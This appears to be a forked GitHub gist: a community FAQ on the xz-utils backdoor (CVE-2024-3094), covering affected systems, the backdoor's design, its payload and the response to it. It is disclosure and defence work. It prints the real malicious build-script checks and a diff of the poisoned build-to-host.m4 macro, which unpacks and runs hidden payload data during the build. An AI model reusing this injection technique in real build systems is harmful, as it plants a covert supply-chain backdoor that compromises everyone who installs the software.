Skip to content

Instantly share code, notes, and snippets.

@denix0

denix0/xz-backdoor.md

Forked from thesamesam/xz-backdoor.md
Created April 1, 2024 19:40
Show Gist options
  • Save denix0/1274e7a2689b298176d9b8f011e43986 to your computer and use it in GitHub Desktop.
Save denix0/1274e7a2689b298176d9b8f011e43986 to your computer and use it in GitHub Desktop.
Download ZIP
xz-utils backdoor situation (CVE-2024-3094)
Raw
xz-backdoor.md

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is still a new situation. There is a lot we don't know. We don't know if there are more possible exploit paths. We only know about this one path. Please update your systems regardless.

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't know what the payload is intended to do. We are investigating.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.

  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers are looking at adding non-library integration of the systemd-notify protocol which would mean distributions would no longer be patching in libsystemd support.

  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).

  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jensen.

    • Hans Jensen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux, even compared to the rest of this. It's early days yet.

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

  • libarchive is being checked out:

  • google/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils

    • It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.
    • Note that IFUNC is a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115 remains open and has a patch pending from a GCC developer.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • ???

References and other reading material

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment